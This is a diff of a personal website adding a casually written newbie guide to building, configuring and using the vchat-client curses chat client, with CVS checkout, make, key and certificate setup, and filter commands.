55 | ---- | ||
56 | |||
57 | License | ||
58 | ======= | ||
59 | |||
60 | *timestretch* is considered `beer ware </beerware.html>`_. | ||
61 | |||
62 | |||
63 | |||
diff --git a/stories/projects/vchat-client.rst b/stories/projects/vchat-client.rst new file mode 100644 index 0000000..f540f04 --- /dev/null +++ b/stories/projects/vchat-client.rst | |||
@@ -0,0 +1,267 @@ | |||
1 | .. link: | ||
2 | .. description: is a curses based chat client for the arcane vchat protocol. | ||
3 | .. tags: project | ||
4 | .. date: 2014/02/01 19:10:08 | ||
5 | .. title: vchat-client | ||
6 | .. slug: ../arts/software/vchat-client/index | ||
7 | |||
8 | Newbies Guide to vchat via 'Buntclient' | ||
9 | ======================================= | ||
10 | |||
11 | 1. Get the Source, Luke | ||
12 | ----------------------- | ||
13 | |||
14 | Make sure, you got a shell and the tool called cvs. | ||
15 | cd to a directory the source shall reside in. | ||
16 | |||
17 | Type:: | ||
18 | |||
19 | $ cvs -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot login | ||
20 | $ cvs -z3 -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co vchat-client | ||
21 | |||
22 | (press return at password prompt) | ||
23 | |||
24 | |||
25 | 2. Do the verpile | ||
26 | ----------------- | ||
27 | |||
28 | Enter the vchat-client/ directory. | ||
29 | Type:: | ||
30 | |||
31 | $ make | ||
32 | |||
33 | If that fails due to some readline fuckups, try again with:: | ||
34 | |||
35 | $ make OLDREADLINE=-DOLDREADLINE | ||
36 | |||
37 | If you are administrator of your computer and want to install | ||
38 | vchat-client permanently, type:: | ||
39 | |||
40 | $ make install | ||
41 | |||
42 | You may also run the binary from its compile location. | ||
43 | |||
44 | |||
45 | 3. Get protected | ||
46 | ---------------- | ||
47 | |||
48 | Run the script vchat-keygen, located in the vchat-client/ directory. | ||
49 | Follow its instructions. | ||
50 | |||
51 | |||
52 | 4. Home sweet Home | ||
53 | ------------------ | ||
54 | |||
55 | Create a .vchat/ directory in your homedir. :: | ||
56 | |||
57 | $ cd | ||
58 | $ mkdir .vchat/ | ||
59 | |||
60 | Copy your key to the .vchat/ directory:: | ||
61 | |||
62 | $ cp ~/.vchat.key ~/.vchat/key | ||
63 | |||
64 | Whenever your signed cert arrives from vchat at vchat.berlin.ccc dot de, | ||
65 | copy it to the .vchat/ directory as well:: | ||
66 | |||
67 | $ cp ~/.vchat.cert ~/.vchat/cert | ||
68 | |||
69 | In order to modify the look of your client, you may copy one of | ||
70 | the sample-xxx.fmt files to the .vchat/ directory:: | ||
71 | |||
72 | $ cd vchat-client/ | ||
73 | $ cp sample-erdgeist.fmt ~/.vchat/formats | ||
74 | |||
75 | If you want to set the chat server to vchat.berlin.ccc.de now, | ||
76 | type:: | ||
77 | |||
78 | $ echo host=vchat.berlin.ccc.de >> ~/.vchat/config | ||
79 | |||
80 | If you want to ignore SSL-warnings due to missing CA-files, type:: | ||
81 | |||
82 | $ echo ignssl=1 >> ~/.vchat/config | ||
83 | |||
84 | If you don't want to ignore SSL-warnings, get the root-certificates from: | ||
85 | |||
86 | http://www.cacert.org/certs/class3.txt | ||
87 | and | ||
88 | http://www.cacert.org/certs/root.txt | ||
89 | |||
90 | and copy them into your openssl-certs directory. For example:: | ||
91 | |||
92 | # cp root.txt /etc/ssl/certs/ | ||
93 | # cp class3.txt /etc/ssl/certs/ | ||
94 | # cd /etc/ssl/certs | ||
95 | # ln -s root.txt `openssl x509 -in root.txt -hash | head -n 1`.0 | ||
96 | # ln -s class3.txt `openssl x509 -in class3.txt -hash | head -n 1`.0 | ||
97 | |||
98 | Now you can type:: | ||
99 | |||
100 | $ echo ignssl=0 >> ~/.vchat/config | ||
101 | |||
102 | |||
103 | If you want a seperate private message window, type:: | ||
104 | |||
105 | $ echo messages=10 >> ~/.vchat/config | ||
106 | |||
107 | If you want to have no topic line, like in the oldschool client, | ||
108 | do not choose a private message window an type:: | ||
109 | |||
110 | $ echo usetopicbar=0 >> ~/.vchat/config | ||
111 | |||
112 | 5. First bunt | ||
113 | ------------- | ||
114 | |||
115 | Check, whether you REALLY got a signed cert. | ||
116 | |||
117 | [.... | ||
118 | If you did not get a reply from vchat at vchat.berlin.ccc dot de within | ||
119 | 3 days, this might either be due to you not being known to the | ||
120 | certificate masters, or simply because of the verpeil. You may, | ||
121 | after 3 days, contact me at erdgeist at erdgeist dot org. If I don't | ||
122 | reply, too, reconsider your lifestyle. | ||
123 | ....] | ||
124 | |||
125 | Start the client:: | ||
126 | |||
127 | $ vchat-client | ||
128 | |||
129 | or :: | ||
130 | |||
131 | $ vchat-client/vchat-client | ||
132 | |||
133 | Enter the passphrase to your private key, if you added one. | ||
134 | |||
135 | Look around. If the Umlautz are broken, try to trouble shoot here: | ||
136 | https://freepad.erdgeist.org/p/fT9OoDoLMx | ||
137 | |||
138 | Try to feel comfortable with the new look of your vchat- | ||
139 | environment. Close your mouth. Try playing around with the | ||
140 | following commands: | ||
141 | |||
142 | If you did not enable the seperate private message window, | ||
143 | ignore this part: | ||
144 | |||
145 | [ STARTIGNORE | ||
146 | |||
147 | Press Ctrl-G and Ctrl-T several times. | ||
148 | Press Ctrl-X, then send yourself a private message, watch, what | ||
149 | happens | ||
150 | Press Ctrl-C ONCE!!! | ||
151 | Press Ctrl-R and watch the asteriks at the very right of your | ||
152 | screen, this one indicates, which window to scroll back | ||
153 | |||
154 | ENDIGNORE] | ||
155 | |||
156 | Press Ctrl-B Ctrl-F, if you collected some text in your | ||
157 | message window. This should scroll back and forth. | ||
158 | A red console bar should indicate, that you scrolled up. | ||
159 | |||
160 | Press Ctrl-L to redraw and reset scroll indices. | ||
161 | |||
162 | Play around with the completion: | ||
163 | |||
164 | Hitting <TAB> at start of line will complete to :: | ||
165 | |||
166 | .m <lastpersonyouexchangedprivatemessageswith> | ||
167 | |||
168 | if you hit <TAB> more often, you will cycle through this list, | ||
169 | sorted by the last time you exchanges PMs with. | ||
170 | |||
171 | Hitting <TAB> when you already typed some letters but no space | ||
172 | yet will expand to all nicks in your current channel. You may | ||
173 | cycle through this list, too. | ||
174 | |||
175 | Hitting tab anywhere else expands to all nicks in all channels. | ||
176 | |||
177 | Most other readline hotkeys (Ctrl-U, Ctrl-K, Ctrl-W, Ctrl-A...) | ||
178 | will work as expected. | ||
179 | |||
180 | |||
181 | 6. Commandoe | ||
182 | ------------ | ||
183 | |||
184 | In addition to the server commands (.h, .m, .a, .s ...) the | ||
185 | client brings its own set of commands, which will be triggered | ||
186 | IRC-style by /COMMAND. These may be abbrevated to the lowest | ||
187 | unambigous substring. | ||
188 | |||
189 | Try /HELP for a first glimpse. | ||
190 | The status window may be forced off by hitting Ctrl-X. | ||
191 | |||
192 | /HELP KEYS should give you a short summary of available hot | ||
193 | key commands. | ||
194 | |||
195 | Some client commands are wrappers around server commands:: | ||
196 | |||
197 | /ME == .a | ||
198 | /MSG == .m | ||
199 | /M == .m | ||
200 | /QUIT == .x | ||
201 | |||
202 | The other commands are used to enable client side filtering | ||
203 | and highlighting. | ||
204 | |||
205 | Try:: | ||
206 | |||
207 | /HELP FILTERS | ||
208 | /HELP FLT | ||
209 | /HELP FILTERS | ||
210 | |||
211 | Highlight yourself:: | ||
212 | |||
213 | /FLT 6 <nickname> | ||
214 | |||
215 | if you don't see anything getting highlighted, you probably | ||
216 | have a mac. If you got this far despite of that problem, you | ||
217 | will surely find a way to enable colors in your terminal. | ||
218 | |||
219 | Remove the filter rule:: | ||
220 | |||
221 | /rmflt 1 | ||
222 | |||
223 | Zoom in all channel leaves:: | ||
224 | |||
225 | /flt + left channel | ||
226 | |||
227 | List your filter rules:: | ||
228 | |||
229 | /lsflt | ||
230 | |||
231 | Remove all filters:: | ||
232 | |||
233 | /clflt | ||
234 | |||
235 | Ignore all server leave and join messages:: | ||
236 | |||
237 | /flt - ((left|joined|entered) (the )?(channel|chat)) | ||
238 | |||
239 | Reenable those lines:: | ||
240 | |||
241 | /rmflt ((left|joined|entered) (the )?(channel|chat)) | ||
242 | |||
243 | Note: zoom overrides ignore. | ||
244 | |||
245 | Be careful about setting your filters, as these are treated | ||
246 | as regular expressions, which easily may lead to time | ||
247 | consuming evaluations. Avoid brackets. | ||
248 | |||
249 | |||
250 | 7. Fiiiiiiiiieschas | ||
251 | ------------------- | ||
252 | |||
253 | As I am still young *cough cough* I am _STILL_ willing to | ||
254 | implement features of all stupidity grades. Contact me | ||
255 | with /m erdgeist <feature request> at any time. | ||
256 | |||
257 | |||
258 | 8. You help | ||
259 | ----------- | ||
260 | |||
261 | Since you will probably start fiddeling around with your | ||
262 | .vchat/formats file, I'd appreciate getting YOUR format, | ||
263 | too, as this may be helpful for others to make their own. | ||
264 | Just send them to erdgeist at erdgeist dot org. Bug reports, | ||
265 | feature request that are to long for the chat and diffs | ||
266 | implementing some features are welcome at this address, | ||
267 | too. | ||